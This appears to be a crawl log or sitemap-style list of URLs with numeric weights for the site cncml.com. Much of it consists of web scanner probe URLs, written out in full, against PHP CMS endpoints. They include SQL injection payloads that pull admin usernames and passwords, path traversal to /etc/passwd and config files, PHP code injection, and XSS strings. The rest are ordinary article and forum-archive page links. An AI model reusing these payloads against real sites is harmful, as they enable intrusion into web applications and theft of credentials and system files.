http://www.cncml.com/archiver/index.php?act=show_groupbuy&op=groupbuy_list&groupbuy_area=&groupbuy_class=&groupbuy_price=1&groupbuy_order_key=price&groupbuy_order=asc,%20(SELECT%201%20from%20(select%20count(*),concat(floor(rand(0)*2),%20md5(1122))a%20from%20information_schema.tables%20group%20by%20a)b);%23 0.0001 http://www.cncml.com/archiver/index.php?action=article&do=show&todo=content&a=282%20AND%20(SELECT%203853%20FROM(SELECT%20COUNT(*),CONCAT(0x6366726565723A,(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)),0x3A696A783A,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/archiver/index.php?action=detail&do=offer&title=%2527or%25201%253D2%2523 0.0001 http://www.cncml.com/archiver/index.php?action=school&todo=content&do=-1%20and%20(select%201%20from%20%20(select%20count(*),concat(0x7c,md5(1122),0x7c,floor(rand(0)*2))x%20from%20%20information_schema.tables%20group%20by%20x)a) 0.0001 http://www.cncml.com/archiver/index.php?action=shop&todo=content&do=-1%20UNION%20SELECT%201,2,3,concat(0x7c,md5(1122),0x7c),5,6,7,8,9,10,11,12,13,14,15,16,17 0.0001 http://www.cncml.com/archiver/index.php?action=teacher&teacher_id=(SELECT%201833%20FROM(SELECT%20COUNT(*),CONCAT(0x7e,md5(1122),0x7e,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)&todo=infor 0.0001 http://www.cncml.com/archiver/index.php?action=tid&value=142&&_dsign=ec51a724 0.0001 http://www.cncml.com/archiver/index.php?app=/../robots.txt%00 0.0001 http://www.cncml.com/archiver/index.php?app=user&ac=../../../robots.txt%00 0.0001 http://www.cncml.com/archiver/index.php?app=user&ac=plugin&in=../../robots.txt%00 0.0001 http://www.cncml.com/archiver/index.php?app=widget&mod=Category&act=getChild&model_name=Schedule&method=runSchedule&id%5Btask_to_run%5D=addons/Area)-%3EgetAreaList();print(md5(1122));%23 0.0001 http://www.cncml.com/archiver/index.php?c=MTA3==&op=../../../../../../../../../../etc/passwd%00.jpg 0.0001 http://www.cncml.com/archiver/index.php?c=ajax&a=member_login&template=../../ooxx.php 0.0001 http://www.cncml.com/archiver/index.php?c=api&a=down&file=YWQ2OVpRcGJtL3d3NWh5WmVxbkNYbGRnZjVnalFLSXRaWkRpT1dVZmNXQ1BqNjhPeE82RkpKak1iWUZwcDZrK2tXaFZYdTRZ 0.0001 http://www.cncml.com/archiver/index.php?c=api&m=data&auth=finecms&param=action%3Dcache%20name%3DSPACE-MODEL.1%27%5D%3Bprint%28md5%281122%29%29%3B%2f%2f 0.0001 http://www.cncml.com/archiver/index.php?c=buylist&a=dellist&id=1%20and%20(select%201%20from%20(select%20count(*),concat(md5(1122),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a) 0.0001 http://www.cncml.com/archiver/index.php?c=com_index&m=yp&userid=12%22%3E%3Ciframe%20src=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/archiver/index.php?c=tj&f=include&js=/../../config.php 0.0001 http://www.cncml.com/archiver/index.php?c=ueditor&f=remote_image&upfile=http://0.0.0.0/reer.php 0.0001 http://www.cncml.com/archiver/index.php?caid=1&ccid12=12&fsale=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/archiver/index.php?case=../../../../../../../../../../../../../../../../etc/passwd%00 0.0001 http://www.cncml.com/archiver/index.php?case=archive&act=orders 0.0001 http://www.cncml.com/archiver/index.php?case=archive&act=orders&aid%5Baid%60%3D2%20and%200%20union%20select%201,2,3,char(106),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,md5(1122),36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58%20from%20cmseasy_user%20where%20userid%3C2%20%20--%20%20a%5D=26 0.0001 http://www.cncml.com/archiver/index.php?case=archive&act=orders&aid%5Btypeid%60%3d1%20UNION%20SELECT@typeid,2,3,concat(0x7e,md5(1122),0x7e),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58%20from%20cmseasy_archive%20ORDER%20BY%201%23%5D=10 0.0001 http://www.cncml.com/archiver/index.php?case=archive&act=search&keyword=webscan%25%2527%29%09union%09select%090%2C0%2C0%2Cconcat%28username%2Cpassword%29%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%09from%09cmseasy_user%09where%09groupid%3D2%09union%09SELECT%09*%09FROM%09%60cmseasy_archive%60%09WHERE%09%28title%09like%09%2527%25aaaaaaaa 0.0001 http://www.cncml.com/archiver/index.php?case=manage&act=delete&manage=orders&guest=1&id=-1 0.0001 http://www.cncml.com/archiver/index.php?case=tag&act=show&tag=%2522%20union%20select%200x2D3120756E696F6E2073656C65637420312C307833313239323037353645363936463645323037333635364336353633373432303331324333323243333332433644363433353238333533353332333233313331333233323239324333353243333632433337324333383243333932433331333032433331333132433331333232433331333332433331333432433331333532433331333632433331333732433331333832433331333932433332333032433332333132433332333232433332333332433332333432433332333532433332333632433332333732433332333832433332333932433333333032433333333132433333333232433333333332433333333432433333333532433333333632433333333732433333333832433333333932433334333032433334333132433334333232433334333332433334333432433334333532433334333632433334333732433334333832433334333932433335333032433335333132433335333232433335333332433335333432433335333532433335333632433335333732433335333832303636373236463644323036333644373336353631373337393546373537333635373232332C332D2D,2%23 0.0001 http://www.cncml.com/archiver/index.php?controller=block&action=goodsCommend&id=0)%20Union%20select%201,md5(1122)%23 0.0001 http://www.cncml.com/archiver/index.php?controller=block&action=spec_value_list&id=1%20union%20select%201,%28Select%20concat%280x5b,admin_name,0x3a,PassWord,0x5d%29%29,3,4,5,6%20from%20iwebshop_admin 0.0001 http://www.cncml.com/archiver/index.php?controller=site&action=getProduct&specJSON=%7B%20%22people%22:%221'%20and%201=2%20union%20select%20md5(1122),2,3,4,5,6,7,8,9%20and%20'1'='1%22%7D 0.0001 http://www.cncml.com/archiver/index.php?ctl=deals&k=pp%25%27%29and%20extractvalue%281%2Cconcat%280x5c%2Cmd5%280x7765627363616e%29%29%29%23 0.0001 http://www.cncml.com/archiver/index.php?ctl=help&act=term%27%20and%20extractvalue%281%2Cconcat%280x5c%2Cmd5%280x7765627363616e%29%29%29%23 0.0001 http://www.cncml.com/archiver/index.php?doc-summary-xxxxxxxxx%27%20and%201=2%20union%20select%201,2,3,4,5,CONCAT(0x7c,username,0x7c,password,0x7c,CHAR(119,101,98,115,99,97,110)),7,8,9,10,11,12,13,14,15,16,17,18,19,20%20from%20wiki_user%20where%20groupid=4%20limit%201%23 0.0001 http://www.cncml.com/archiver/index.php?id=-1%7C%7C1%20group%20by%20mid(md5(1122)%20from%20rand()*10%20for%2030)having%20min(1)%23&mod=compare 0.0001 http://www.cncml.com/archiver/index.php?id=product&c=project&cate=1&ext%5Bid%3C0%20union%20select%20111,2,3,4,5,6,md5(1122),8,9%20,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--%5D=1 0.0001 http://www.cncml.com/archiver/index.php?index=a&skin=default/../&dataoptimize_html=/../../templates/default/images/css/metinfo.css 0.0001 http://www.cncml.com/archiver/index.php?keywords=zzz333&mod=search 0.0001 http://www.cncml.com/archiver/index.php?language_id=1%20and%20%20%28SELECT%201%20from%20%28select%20count%28%2a%29%2Cconcat%28floor%28rand%280%29%2a2%29%2C%28substring%28%28select%28md5%281122%29%29%29%2C1%2C62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%23&is_protect=1&action=cccc 0.0001 http://www.cncml.com/archiver/index.php?m=Ajax&a=gettypeattr&type_id=1%27%20AND%20%28SELECT%201%20FROM%28SELECT%20COUNT%28%2a%29%2CCONCAT%28md5%280x7765627363616e%29%2CFLOOR%28RAND%280%29%2a2%29%29X%20FROM%20information_schema.tables%20GROUP%20BY%20X%29a%29%23 0.0001 http://www.cncml.com/archiver/index.php?m=Article&a=showByUname&uname=%2527or%25201%253D%2528select%25201%2520from%2520%2528select%2520count%2528%252a%2529%252Cconcat%2528floor%2528rand%25280%2529%252a2%2529%252C%2528select%2520md5%25281122%2529%2520from%2520fanwe_admin%2520limit%25200%252C1%2529%2529a%2520from%2520information_schema.tables%2520group%2520by%2520a%2529b%2529%2523 0.0001 http://www.cncml.com/archiver/index.php?m=Goods&a=showByUname&uname=%2527AND%20%28SELECT%201%20FROM%28SELECT%20COUNT%28%2a%29%2CCONCAT%28md5%280x7765627363616e%29%2CFLOOR%28RAND%280%29%2a2%29%29X%20FROM%20information_schema.tables%20GROUP%20BY%20X%29a%29%23 0.0001 http://www.cncml.com/archiver/index.php?m=Goods&a=showcate&id=1'cfreer 0.0001 http://www.cncml.com/archiver/index.php?m=Order&a=index 0.0001 http://www.cncml.com/archiver/index.php?m=announcement&s=admin/notice_manager&action=modify&id=1212%20UnIon%20select%201,2,concat(user,0x7c,password),4,5,6,7,8%20from%20webscan%23 0.0001 http://www.cncml.com/archiver/index.php?m=company&s=admin/exportexcel&ordrby=user%20and%201=websec%23 0.0001 http://www.cncml.com/archiver/index.php?m=company&s=space_comments&uid=1and%20(SELECT%201%20from%20(selectcount(*),concat(floor(rand(0)*2),(substring((select(selEctconcat(user,0x7c,password)%20from%20b2bbuilder_admin%20limit%200,1)),1,62)))a%20frominformation_schema.tables%20group%20by%20a)b) 0.0001 http://www.cncml.com/archiver/index.php?m=company&s=space_mail&tid=1)%20and%201=websec%20%23 0.0001 http://www.cncml.com/archiver/index.php?m=message&s=inquire&userid=1)%20UnIon%20select%201,12,123%20from%20webscan%23 0.0001 http://www.cncml.com/archiver/index.php?m=message&s=inquiry_basket 0.0001 http://www.cncml.com/archiver/index.php?m=news&s=admin/news&newsid=1%20and%20(SELECT%201%20from%20websec) 0.0001 http://www.cncml.com/archiver/index.php?m=news&s=admin/newslist&submit=%E5%88%A0%E9%99%A4&did=999%29%20and%20%28SELECT%201%20from%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28select%28selEct%20concat%28user,0x7c,password%29%20from%20f10bd198561acb0197452013b7a82429%20limit%200,1%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%23 0.0001 http://www.cncml.com/archiver/index.php?m=poster&c=index&a=poster_click&id=1 0.0001 http://www.cncml.com/archiver/index.php?m=search&a=public_get_suggest_keyword&url=http://www.baidu.com/&q=/../robots.txt 0.0001 http://www.cncml.com/archiver/index.php?m=video&c=video_for_ck&a=add_f_ckeditor&vid=1&title=1122&description=a%E9%8C%A6%27,0,0,0,0,0,%28select%20%281%29%20from%20mysql.user%20where%201=1%20aNd%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%29%29%23 0.0001 http://www.cncml.com/archiver/index.php?m=video&c=video_for_ck&a=add_f_ckeditor&vid=1&title=a%E9%8C%A6%27,0,0,0,0,0,%28select%20%281%29%20from%20mysql.user%20where%201=1%20aNd%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%29%29%23 0.0001 http://www.cncml.com/archiver/index.php?m=wap&siteid=1&a=big_image&url=aHR0cDovL3hzc3Rlc3QuY29tIiBvbmVycm9yPSJqYXZhc2NyaXB0OmFsZXJ0KDQyODczKTs= 0.0001 http://www.cncml.com/archiver/index.php?m=yp&c=index&a=lists&areaid=12&catid=114&price=&tid=1%22%20onmouseover=prompt(42873)%20&page=1&order=1 0.0001 http://www.cncml.com/archiver/index.php?m=yp&c=index&a=lists&areaid=37%20%20onmouseover%3Dprompt%2842873%29%20&catid=10&price=1_500&page=1&order=4 0.0001 http://www.cncml.com/archiver/index.php?m=yp&c=index&a=lists&areaid=37&catid=10&price=%22%20onmouseover=prompt(42873)%20&page=1&order=4 0.0001 http://www.cncml.com/archiver/index.php?mod=../admin/admin&a=list 0.0001 http://www.cncml.com/archiver/index.php?mod=../admin/admin&ac=list 0.0001 http://www.cncml.com/archiver/index.php?option=com_hello&controller=../../../../../../../../etc/passwd%00 0.0001 http://www.cncml.com/archiver/index.php?option=com_ztautolink&controller=../../../../../../../../../../../../../../../etc/passwd%00 0.0001 http://www.cncml.com/archiver/index.php?product-%22%3E%3Ciframe%20src=javascript:window%5B%22%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%22%5D(42873)%20-1122-viewpic.html 0.0001 http://www.cncml.com/archiver/index.php?q=1%25%2527%2520and%25201%253D2%2520%2523&do=search&action=lists&module=product 0.0001 http://www.cncml.com/archiver/tid-10.html 0.0001 http://www.cncml.com/archiver/tid-100.html 0.0001 http://www.cncml.com/archiver/tid-101.html 0.0001 http://www.cncml.com/archiver/tid-103.html 0.0001 http://www.cncml.com/archiver/tid-104.html 0.0001 http://www.cncml.com/archiver/tid-107.html 0.0002 http://www.cncml.com/archiver/tid-110.html 0.0001 http://www.cncml.com/archiver/tid-112.html 0.0001 http://www.cncml.com/archiver/tid-114.html 0.0001 http://www.cncml.com/archiver/tid-115.html 0.0001 http://www.cncml.com/archiver/tid-122.html 0.0001 http://www.cncml.com/archiver/tid-128.html 0.0001 http://www.cncml.com/archiver/tid-129.html 0.0002 http://www.cncml.com/archiver/tid-13.html 0.0002 http://www.cncml.com/archiver/tid-130.html 0.0001 http://www.cncml.com/archiver/tid-131.html 0.0001 http://www.cncml.com/archiver/tid-132.html 0.0001 http://www.cncml.com/archiver/tid-136.html 0.0001 http://www.cncml.com/archiver/tid-137.html 0.0002 http://www.cncml.com/archiver/tid-138.html 0.0001 http://www.cncml.com/archiver/tid-139.html 0.0003 http://www.cncml.com/archiver/tid-14.html 0.0001 http://www.cncml.com/archiver/tid-140.html 0.0002 http://www.cncml.com/archiver/tid-141.html 0.0003 http://www.cncml.com/archiver/tid-142.html 0.0003 http://www.cncml.com/archiver/tid-143.html 0.0001 http://www.cncml.com/archiver/tid-144.html 0.0007 http://www.cncml.com/archiver/tid-145.html 0.0001 http://www.cncml.com/archiver/tid-147.html 0.0001 http://www.cncml.com/archiver/tid-148.html 0.0003 http://www.cncml.com/archiver/tid-149.html 0.0006 http://www.cncml.com/archiver/tid-152.html 0.0001 http://www.cncml.com/archiver/tid-153.html 0.0001 http://www.cncml.com/archiver/tid-154.html 0.0004 http://www.cncml.com/archiver/tid-155.html 0.0001 http://www.cncml.com/archiver/tid-156.html 0.0001 http://www.cncml.com/archiver/tid-157.html 0.0001 http://www.cncml.com/archiver/tid-158.html 0.0001 http://www.cncml.com/archiver/tid-159.html 0.0001 http://www.cncml.com/archiver/tid-16.html 0.0001 http://www.cncml.com/archiver/tid-160.html 0.0001 http://www.cncml.com/archiver/tid-161.html 0.0001 http://www.cncml.com/archiver/tid-162.html 0.0001 http://www.cncml.com/archiver/tid-163.html 0.0001 http://www.cncml.com/archiver/tid-164.html 0.0001 http://www.cncml.com/archiver/tid-167.html 0.0001 http://www.cncml.com/archiver/tid-168.html 0.0001 http://www.cncml.com/archiver/tid-169.html 0.0001 http://www.cncml.com/archiver/tid-17.html 0.0001 http://www.cncml.com/archiver/tid-170.html 0.0001 http://www.cncml.com/archiver/tid-171.html 0.0001 http://www.cncml.com/archiver/tid-172.html 0.0001 http://www.cncml.com/archiver/tid-176.html 0.0001 http://www.cncml.com/archiver/tid-179.html 0.0001 http://www.cncml.com/archiver/tid-18.html 0.0001 http://www.cncml.com/archiver/tid-183.html 0.0001 http://www.cncml.com/archiver/tid-184.html 0.0001 http://www.cncml.com/archiver/tid-187.html 0.0001 http://www.cncml.com/archiver/tid-192.html 0.0001 http://www.cncml.com/archiver/tid-195.html 0.0001 http://www.cncml.com/archiver/tid-196.html 0.0001 http://www.cncml.com/archiver/tid-198.html 0.0001 http://www.cncml.com/archiver/tid-2.html 0.0001 http://www.cncml.com/archiver/tid-203.html 0.0001 http://www.cncml.com/archiver/tid-21.html 0.0001 http://www.cncml.com/archiver/tid-215.html 0.0001 http://www.cncml.com/archiver/tid-216.html 0.0001 http://www.cncml.com/archiver/tid-217.html 0.0002 http://www.cncml.com/archiver/tid-22.html 0.0001 http://www.cncml.com/archiver/tid-23.html 0.0001 http://www.cncml.com/archiver/tid-24.html 0.0001 http://www.cncml.com/archiver/tid-25.html 0.0001 http://www.cncml.com/archiver/tid-36.html 0.0001 http://www.cncml.com/archiver/tid-38.html 0.0003 http://www.cncml.com/archiver/tid-39.html 0.0001 http://www.cncml.com/archiver/tid-40.html 0.0001 http://www.cncml.com/archiver/tid-41.html 0.0001 http://www.cncml.com/archiver/tid-42.html 0.0001 http://www.cncml.com/archiver/tid-43.html 0.0001 http://www.cncml.com/archiver/tid-45.html 0.0004 http://www.cncml.com/archiver/tid-46.html 0.0001 http://www.cncml.com/archiver/tid-47.html 0.0001 http://www.cncml.com/archiver/tid-49.html 0.0001 http://www.cncml.com/archiver/tid-51.html 0.0001 http://www.cncml.com/archiver/tid-52.html 0.0001 http://www.cncml.com/archiver/tid-54.html 0.0001 http://www.cncml.com/archiver/tid-55.html 0.0001 http://www.cncml.com/archiver/tid-56.html 0.0001 http://www.cncml.com/archiver/tid-57.html 0.0001 http://www.cncml.com/archiver/tid-59.html 0.0001 http://www.cncml.com/archiver/tid-60.html 0.0001 http://www.cncml.com/archiver/tid-61.html 0.0001 http://www.cncml.com/archiver/tid-62.html 0.0001 http://www.cncml.com/archiver/tid-63.html 0.0002 http://www.cncml.com/archiver/tid-65.html 0.0001 http://www.cncml.com/archiver/tid-66.html 0.0001 http://www.cncml.com/archiver/tid-69.html 0.0001 http://www.cncml.com/archiver/tid-7.html 0.0001 http://www.cncml.com/archiver/tid-70.html 0.0001 http://www.cncml.com/archiver/tid-74.html 0.0001 http://www.cncml.com/archiver/tid-75.html 0.0001 http://www.cncml.com/archiver/tid-76.html 0.0002 http://www.cncml.com/archiver/tid-77.html 0.0001 http://www.cncml.com/archiver/tid-78.html 0.0001 http://www.cncml.com/archiver/tid-79.html 0.0001 http://www.cncml.com/archiver/tid-80.html 0.0002 http://www.cncml.com/archiver/tid-81.html 0.0001 http://www.cncml.com/archiver/tid-82.html 0.0001 http://www.cncml.com/archiver/tid-83.html 0.0001 http://www.cncml.com/archiver/tid-84.html 0.0001 http://www.cncml.com/archiver/tid-85.html 0.0001 http://www.cncml.com/archiver/tid-89.html 0.0001 http://www.cncml.com/archiver/tid-9.html 0.0001 http://www.cncml.com/archiver/tid-90.html 0.0001 http://www.cncml.com/archiver/tid-91.html 0.0001 http://www.cncml.com/archiver/tid-96.html 0.0001 http://www.cncml.com/archiver/tid-98.html 0.0001 http://www.cncml.com/archiver/tid-99.html 0.0002 http://www.cncml.com/article-1-1.html 0.0001 http://www.cncml.com/article-10-1.html 0.0001 http://www.cncml.com/article-11-1.html 0.0005 http://www.cncml.com/article-12-1.html 0.0006 http://www.cncml.com/article-14-1.html 0.0001 http://www.cncml.com/article-15-1.html 0.0001 http://www.cncml.com/article-16-1.html 0.0001 http://www.cncml.com/article-17-1.html 0.0001 http://www.cncml.com/article-18-1.html 0.0001 http://www.cncml.com/article-19-1.html 0.0002 http://www.cncml.com/article-2-1.html 0.0004 http://www.cncml.com/article-20-1.html 0.0001 http://www.cncml.com/article-24-1.html 0.0001 http://www.cncml.com/article-25-1.html 0.0001 http://www.cncml.com/article-26-1.html 0.0001 http://www.cncml.com/article-27-1.html 0.0005 http://www.cncml.com/article-29-1.html 0.0006 http://www.cncml.com/article-3-1.html 0.0001 http://www.cncml.com/article-30-1.html 0.0001 http://www.cncml.com/article-31-1.html 0.0002 http://www.cncml.com/article-32-1.html 0.0002 http://www.cncml.com/article-33-1.html 0.0002 http://www.cncml.com/article-34-1.html 0.0002 http://www.cncml.com/article-35-1.html 0.0007 http://www.cncml.com/article-36-1.html 0.0009 http://www.cncml.com/article-37-1.html 0.0008 http://www.cncml.com/article-38-1.html 0.0008 http://www.cncml.com/article-4-1.html 0.0002 http://www.cncml.com/article-43-1.html 0.0009 http://www.cncml.com/article-49-1.html 0.0001 http://www.cncml.com/article-5-1.html 0.0001 http://www.cncml.com/article-50-1.html 0.0001 http://www.cncml.com/article-52-1.html 0.0006 http://www.cncml.com/article-6-1.html 0.0001 http://www.cncml.com/article-7-1.html 0.0001 http://www.cncml.com/article-8-1.html 0.0001 http://www.cncml.com/article-9-1.html 0.0001 http://www.cncml.com/connect.php 0.0005 http://www.cncml.com/connect.php?%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/connect.php?mod=check&op=cookie 0.0003 http://www.cncml.com/connect.php?mod=login&op=callback&referer=index.php&code=6289B863F26AB4C5CB526C085EDABA3A&state=dedc0a3a26d16c9a086ec81984e5b481 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=%3C?php%20print(md5(1122));exit;?%3E 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=%3Cdir 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom='%2bCONVERT(INT,CHAR(106)%2bCHAR(67)%2bCHAR(117)%2bCHAR(106)%2bCHAR(50)%2bCHAR(108)%2bCHAR(67)%2bCHAR(70)%2bCHAR(87)%2bCHAR(122)%2bCHAR(106))%2b' 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom='%5D;print(md5(1122));// 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=');print(md5(1122));// 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=';?%3E%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=(EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=(SELECT%20(CASE%20WHEN%20(29=29)%20THEN%200x6C6F67696E5F73696D706C65%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=(SELECT%20(CASE%20WHEN%20(31=77)%20THEN%200x6C6F67696E5F73696D706C65%20ELSE%2031*(SELECT%2031%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=(SELECT%20(CASE%20WHEN%20(33=84)%20THEN%200x6C6F67696E5F73696D706C65%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=(SELECT%20(CASE%20WHEN%20(36=36)%20THEN%200x6C6F67696E5F73696D706C65%20ELSE%2036*(SELECT%2036%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=(SELECT%20(CASE%20WHEN%20(44=14)%20THEN%200x6C6F67696E5F73696D706C65%20ELSE%2044*(SELECT%2044%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=(SELECT%20(CASE%20WHEN%20(49=49)%20THEN%200x6C6F67696E5F73696D706C65%20ELSE%2049*(SELECT%2049%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=(SELECT%20(CASE%20WHEN%20(61=19)%20THEN%200x6C6F67696E5F73696D706C65%20ELSE%2061*(SELECT%2061%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=(SELECT%20(CASE%20WHEN%20(62=62)%20THEN%200x6C6F67696E5F73696D706C65%20ELSE%2062*(SELECT%2062%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=(SELECT%20(CASE%20WHEN%20(82=82)%20THEN%200x6C6F67696E5F73696D706C65%20ELSE%2082*(SELECT%2082%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=(SELECT%20(CASE%20WHEN%20(82=99)%20THEN%200x6C6F67696E5F73696D706C65%20ELSE%2082*(SELECT%2082%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=;$%7B@print(md5(1122))%7D; 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=;print(md5(1122));%23 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=ELT(74=97,0x6C6F67696E5F73696D706C65) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=ELT(77=77,0x6C6F67696E5F73696D706C65) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=MAKE_SET(11=11,0x6C6F67696E5F73696D706C65) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=MAKE_SET(45=21,0x6C6F67696E5F73696D706C65) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=convert(int,('s'elect'%20char(106)%2bchar(58))) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=data:text/plain,%3C%3Fphp%20print%28md5%281122%29%29%3B%3F%3E 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=die(md5($_get%5Bwebscan%5D));&webscan=1122 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%00' 0.0001 